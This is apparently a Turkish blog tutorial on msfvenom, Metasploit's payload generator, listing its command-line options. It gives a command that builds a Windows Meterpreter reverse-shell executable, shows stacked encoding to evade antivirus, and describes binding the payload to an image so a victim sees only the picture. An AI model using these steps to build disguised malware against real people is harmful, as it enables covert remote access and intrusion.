top of page

MsfVenom Nedir ?

MSFvenom metasploit projesi altında bulunan bir payload üretme aracıdır.Bu araç olmadan önce payload işleminde Msfpayload ve encoding işleminde kullanılan Msfencode aracı tek bir araç altında toplanarak Msfvenom oluşturulmuştur.


MSFvenom , Msfpayload ve Msfencode'un bir birleşimidir ve bu araçların her ikisini de tek bir Framework örneğine yerleştirir. msfvenom , 8 Haziran 2015 itibariyle hem msfpayload hem de msfencode'un yerini almıştır.

msfvenom'un avantajları şunlardır:

  • Tek bir araç

  • Standartlaştırılmış komut satırı seçenekleri

  • Artan hız


Örnek; /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Ayarlar;

>  -l, --list  <type> Payloads, Encoders, Nops; modül tiplerini listelemeye yarar.

> -p, --payload <payload> MFSVenom’da kullanmak istediğimiz payloadı seçmemizi sağlar. Her payloadın yanında açıklaması bulunmaktadır.

> payload-options: Seçmiş olduğumuz payloadın ayarlarını görüntülememize ve ayarlamamıza olanak sağlıyor.

>  Kullanımı msfvenom p <payload adı> payload-options  şeklindedir.

>  -f, --format <format> Kaydedilecek olan çıktının formatını belirlememize olanak sağlar.

>  -help-formats komutu ile kaydedebileceğimiz formatları listeler.

>  -e, --encoder <encoder> Kullanmak istediğimiz encoderi seçmemizi sağlar. Encoderlar anti-virüs atlatma işleminde kullanılırlar. Eğer biz seçmezsek, kendisi en uygun encoderi otomatik olarak atayacaktır. Birden fazla encoder seçimi yapabiliriz ve bu sayede anti-virüs programının bizi yakalama olasılığını azaltırız. Rank sütununda, encoderlerın derecelerini görüyoruz. 

>  Descriprion sütununda ise bu encoderların açıklamaları bulunmaktadır.

>  -a, --arch <arch> Oluşturulan payloadın hangi mimariye göre çalışacağını belirleriz. x86/x64, PPC, Mips, Arm mimarilerini destekler.

>  --platform <platform> Payloadın hangi platformda çalışacağını atamamıza olanak sağlar.
>  help-platforms:netware, android, java, ruby, linux, cisco, solaris, osx, bsd,  openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javacript, python, nodejs, firefox, mainframe, windows
>  -o, --out <path> Payloadın nereye kaydedileceğini belirtir.

>  -b, --bad-chars <list> Payload içinde kullanılmasını istemediğimiz karakterleri (badchars) temizler. Bu karakterler payloadın yapısını bozabilir. Badchars:x00\x0a\x5f\xa4\xba\xaa\xdf\xff..

>  -n, --nopsled  <length> Oluşturacağımız payloadın ilk bytelarında ezilme olabilir. Bu durum payloadımızın yapısını bozacağından çalışmasını engelleyebilir. “-n” parametresi payload başına nopsled eklememize olanak sağlar.Bu sayede payload çalıştığında istediğimiz adrese gelene kadar adreslerin nop (boş işlem) ile dolması sağlanır.
>  Örnek; kullanımı -n 26  şeklindedir. 26 bytelık kısmı nop(\x98\xfd\x40) ile doldurur.

>  -s, --space  <length> Üretilen payload veya encoderin, byte cinsinden boyutunu belirlememize olanak sağlar.

>  -i, --iterations <count> Encoding işlemini kaç defa tekrarlamak istediğimizi belirtiriz.Anti-virüs programını atlatmak için defalarca deneyebiliriz.

>  -c, --add-code <path> Bir payloadı bir shell code ile birleştirmemizi sağlar.

>  -x, --template <path>  Bir payloadı başka bir dosya ile birleştirmemizi sağlar. Bu sayede kullanıcının payloadı fark etme olasılığını azaltmış oluruz. Örneğin, payloadı bir resimle birleştirdiğimizde, kullanıcı payloadı çalıştırınca ön planda resim görünür arka planda ise zararlı kodlar çalışır.

>  -k, --keep Payloadımızı bir başka payloadla veya dosya ile birleştirdiğimiz zaman, payloadımızın yapısının bozulmamasını sağlar.

>  -v, --var-name <value> Payloadın adını değiştirmemize olanak sağlar. Default olarak adı buf atanır.

>  -t, --timeout <second> Payload Çalıştında  beklenecek saniye sayısı belirtiyoruz. (default 30, 0 devre dışı bırakmak)
>  -h, --help yardım komutu MSFVENOM hakkında bilgi verir.

Örnek:
<>  -p : windows/meterpreter/reverse_tcp ( Kurbandan bağlantı almama yarayacak payload )
<> -e : x86/shikata_ga_nai ( Oluşturacağım zararlı dosyayı encode etmemi yarayacak encoder )
<>  -i : 5 ( 5 defa encode etmesini istiyorum ) 
<>  -b : \x00 ( Kötü karakteri çıkarıyorum )
<>  -f : .exe ( Uygulama olarak kaydedeceğim )
<>  -a : x86 ( 32 bitlik işletim sisteminde çalışmasını istiyorum )
<>  --platform :Windows(Windows işletim sisteminde çalışmasını istiyorum.)
<>  LHOST : Kendi İp adresinizi yazın [192.168.1.x ]
<>  LPORT : Hangi portu kullanmak istiyorsanız o portu yazın [2222]

8 görüntüleme

Son Yazılar

Hepsini Gör
bottom of page